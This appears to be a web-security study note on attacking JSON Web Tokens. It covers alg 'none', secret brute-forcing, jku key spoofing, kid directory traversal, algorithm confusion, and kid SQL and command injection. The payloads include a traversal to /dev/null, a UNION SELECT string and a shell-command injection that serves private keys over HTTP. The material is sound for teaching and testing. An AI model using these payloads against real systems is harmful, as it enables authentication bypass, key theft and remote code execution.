# JWT Attacks

<figure><img src="https://3079983923-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeafLyjNWlqNSCbbrOwGR%2Fuploads%2FzDojFjVX5vNaymXA6tDH%2Fimage.png?alt=media&#x26;token=dc3a8ab9-ccf4-4652-b624-ddaccb9e0725" alt=""><figcaption></figcaption></figure>

> _JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems._
>
> > _They can theoretically contain any kind of data, but are most commonly used to send information ("claims") about users as part of authentication, session handling, and access control mechanisms._

### Why JWT ?

> Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.

### Format :

```json
header.payload.signature
```

#### Example :

```python
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiJqd3Qtbm90ZXMiLCJuYW1lIjoiSWJyYVJhZGkiLCJpYXQiOjl9.
8VEC8jgazxAGx0-Q-3hrWyXTaND81EFQVCtWEvDre3Q
```

#### Header :

The header is a **base64** encoded **json** data which _typically_ consists of two parts:

* The type of the token, which is JWT,
* The signing algorithm being used , such as HMAC SHA256 or RSA.

```json
{
  "alg": "HS256",
  "typ": "JWT"
}
```

### P**ayload:**

The payload is also a **base64** encoded **json** data,This data is usually a user info used for **Authorization.**

```json
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
} 
```

📌 The data in the payload is readable,but it’s protected against tampering.

### **Signature:**

To create the signature you have to take the encoded header, the encoded payload, a **secret.**

,the algorithm specified in the header, and sign that in the next form:

```java
TheUsedAlgorithm(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)
```

📌 \*\*The Signature is used as a part of the security validation on that JWT,to make sure no one tampers the data unless he owns a secret key.\*\*

***

***

***

> A JWT is usually either a JWS(JSON Web Signature) or JWE(JSON Web Encryption) token.

> When people use the term "JWT", they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.

***

***

## JWT Attacks:

```json
"Target" : "modifying the content of the JWT",
"Impact" : "Breaking Access Control and Authentication",

"Main Causes"  : 
{
"Flexible" : "many implementation details",
"misconfiguration" : "The signature of the JWT is not verified",
"Leaks" : "Secret key is leaked , can be guessed or brute-forced",
"Lake Of Validations" : "servers any information about the JWTs that they issue"
  ,"The Token is an entirely self-contained entity."
}

```

### **Accepting Arbitrary Signatures:**

> JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library `jsonwebtoken` has `verify()` and `decode()`

📌 The mistake that the developers might do is passing the incoming tokens to the \`decode()\` Method With out verifying them.

#### Exploit :

📌 Just edit the jwt to what ever content you want and it’s accepted.

***

### **Accepting Tokens With No Signature**

The `alg` parameter in the header is used to tell the server which algorithm was used to sign the token which he uses while verifying the signature.

```json
{
    "alg": "HS256",
    "typ": "JWT"
}
```

📌 JWT Can be left unsigned. In this case, the \`alg\` parameter is set to \`none\`.It’s called unsecured JWT —> JWS without a signature

#### Exploit :

* Change The alg parameter value : none
* change the payload
* remove the signature from the payload(keep the tailed dot)

#### Restrictions and bypassed:

> Some times it’s not allowed to send the JWT with alg : none

📌 bypassed using classic obfuscation techniques, such as mixed capitalization and unexpected encodings.

***

### **Brute-Forcing Secret Keys:**

📌 Some signing algorithms, such as HS256 (HMAC + SHA-256), use an arbitrary, standalone string as the secret key. Just like a password, it's crucial that this secret can't be easily guessed or brute-forced by an attacker.

```json
hashcat -a 0 -m 16500 <jwt> <wordlist>
```

Wordlist of Common Secret Keys :

[https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list](https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list)

***

***

### JWK :

📌 Two algorithms are supported for signing JWTs: \*\*RS256\*\* and \*\*HS256.\*\*RS256 generates an asymmetric signature, which means a private key must be used to sign the JWT and a different public key must be used to verify the signature.

> The JSON Web Key Set (JWKS) is a set of keys containing the public keys used to verify any JSON Web Token (JWT) issued by the authorization server and signed using the RS256 [signing algorithm](https://auth0.com/docs/get-started/applications/signing-algorithms)

### **JWT header parameter(JOSE headers):**

1. `jwk` (JSON Web Key) : Provides an embedded JSON object representing the key.
2. `jku` (JSON Web Key Set URL): Provides a URL from which servers can fetch a set of keys containing the correct key.
3. `kid`(Key ID) : Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching `kid` parameter.
4. `cty`(Content Type) : Sometimes used to declare a media type for the content in the JWT payload. This is usually omitted from the header, but the underlying parsing library may support it anyway. If you have found a way to bypass signature verification, you can try injecting a `cty` header to change the content type to `text/xml` or `application/x-java-serialized-object`, which can potentially enable new vectors for [XXE](https://portswigger.net/web-security/xxe) and [deserialization](https://portswigger.net/web-security/deserialization) attacks.
5. `x5c`(X.509 Certificate Chain) : Sometimes used to pass the X.509 public key certificate or certificate chain of the key used to digitally sign the JWT. This header parameter can be used to inject self-signed certificates, similar to the `[jwk` header injection]\(https://portswigger.net/web-security/jwt#injecting-self-signed-jwts-via-the-jwk-parameter) attacks discussed above. Due to the complexity of the X.509 format and its extensions, parsing these certificates can also introduce vulnerabilities. Details of these attacks are beyond the scope of these materials, but for more details, check out [CVE-2017-2800](https://talosintelligence.com/vulnerability_reports/TALOS-2017-0293) and [CVE-2018-2633](https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633)

***

***

### JWK Basic Attack:

public keys are used to verify the jwt,so just edit your token then Embedding your own key

would be enough for exploiting this flaw.

### **JWKS Spoofing:**

#### Method:

📌 If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

#### Create a private Key :

```bash
openssl genrsa -out key.pem 2048
```

#### Export a public key :

```python
import json
from jwcrypto import jwk,jwt
with open("key.pem","rb") as pemfile:
	key = jwk.JWK.from_pem(pemfile.read())
public_key = key.export()
```

JWKS:

```python
jwks = {}
jwks["keys"] = [json.loads(public_key)]
print(jwks)
```

#### What’s Next :

* Create your own jwk using the private key
* Host your public key on your own domain

```python
Token = jwt.JWT(
header = {
        "alg" : "RS256",
        "jku" : "link to your own public key",
	      "kid":key.key_id,                              },
claims= {"key":"value"}
)
Token.make_signed_token(key)             
print(Token.serialize())
```

#### This's  just a waste of time -[John Hammond](https://www.youtube.com/c/JohnHammond010) just likes the fancy stuff

Go and use burp :

[Working with JWTs in Burp Suite | Web Security Academy](https://portswigger.net/web-security/jwt/working-with-jwts-in-burp-suite)

### **Injecting self-signed JWTs via the kid parameter:**

They might use the `kid` parameter to point to a particular entry in a database, or even the name of a file.

If this parameter is also vulnerable to [directory traversal](https://portswigger.net/web-security/file-path-traversal), an attacker could potentially force the server to use an arbitrary file from its filesystem as the verification key.

```json
{
    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
    "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}
```

This is especially dangerous if the server also supports JWTs signed using a [symmetric algorithm](https://portswigger.net/web-security/jwt/algorithm-confusion#symmetric-vs-asymmetric-algorithms). In this case, an attacker could potentially point the `kid` parameter to a predictable, static file, then sign the JWT using a secret that matches the contents of this file.

You could theoretically do this with any file, but one of the simplest methods is to use `/dev/null` which is present on most Linux systems. As this is an empty file, fetching it returns null. Therefore, signing the token with a Base64-encoded null byte will result in a valid signature.

### Exploit :

* Create **New Symmetric Key**
* Replace the generated value for the `k` property with a Base64-encoded null byte `(AA==)`. or any value that matches the concept.
* Set The `kid` parameter value to ../../../../../../../../dev/null
* Use the new **Symmetric Key to create your jwt.**

***

***

## **Algorithm(key) confusion attacks:**

📌 Force the server to verify the signature of a (\[JWT]\(https://portswigger.net/web-security/jwt)) using a different algorithm than is intended by the website's developers.

#### When ?

> methods rely on the `alg` parameter in the token's header to determine the type of verification they should perform.

EXAMPLE OF A METHOD :

```jsx
function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();
    if(algorithm == "RS256"){
        // Use the provided key as an RSA public key
    } else if (algorithm == "HS256"){
        // Use the provided key as an HMAC secret key
    }
}

```

📌 Problems arise when website developers who subsequently use this method assume that it will exclusively handle JWTs signed using an asymmetric algorithm like RS256. Due to this flawed assumption, they may always pass a fixed public key to the method

EXAMPLE OF A FLAW :

```jsx
publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);
```

> The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication. If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.Then, using the public key and changing RS256 to HS256 we could create a valid signature.

📌 The public key you use to sign the token must be absolutely identical to the public key stored on the server. which in this case it’s a SECRET to a symmetric algorithm.

### EXPLOIT :

1. Obtain the server's public key
2. Convert the public key to a suitable format
3. Create a malicious JWT with a modified payload and the `alg` header set to `HS256`.
4. Sign the token with HS256, using the public key as the secret.

#### Obtain the server's public key

*   Could be found in an endpoint or leaked somewhere in an endpoint like

    `/.well-known/jwks.json`

    `/jwks.json`
*   **Deriving public keys from existing tokens**

    ```bash
    docker run --rm -it portswigger/sig2n <token1> <token2>
    ```

    Outputs multiple JWT with the key that is being used to validate it,The JWT that works use it’s key to sing your new JWT

#### **Convert the public key to a suitable format:**

📌 Although the server may expose their public key in JWK format, when verifying the signature of a token, it will use its own copy of the key from its local filesystem or database. This may be stored in a different format.

In order for the attack to work, the version of the key that you use to sign the JWT must be identical to the server's local copy.

Or you can just use it as it’s,but base-64 decoded ,try it .

***

***

## Quick Notes:

#### Easy Way :

* **Run jwt\_tool with mode All Tests. —> not always working - Nothing is that easy**

#### Origin:

* **Check where the token originated in your proxy's request history. It should be created on the server, not the client.**

#### Duration:

* **Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it.**

#### Kid Leaks Key :

* If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if `"kid":"key/12345"` then look for _/key/12345_ and _/key/12345.pem_ on the web root

#### Kid SQL Injection:

* In a scenario wehre the content of the "kid" is used to retreive the password from the database, you could change the payload inside the "kid" parameter to: `non-existent index' UNION SELECT 'Your Secret';--`
*

#### Kid OS Command Injection :

* In a scenario where the "kid" parameter contains a path to the file with the key and this path is being used **inside an executed command** you could be able to obtain RCE and expose the private key with a payload like the following: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
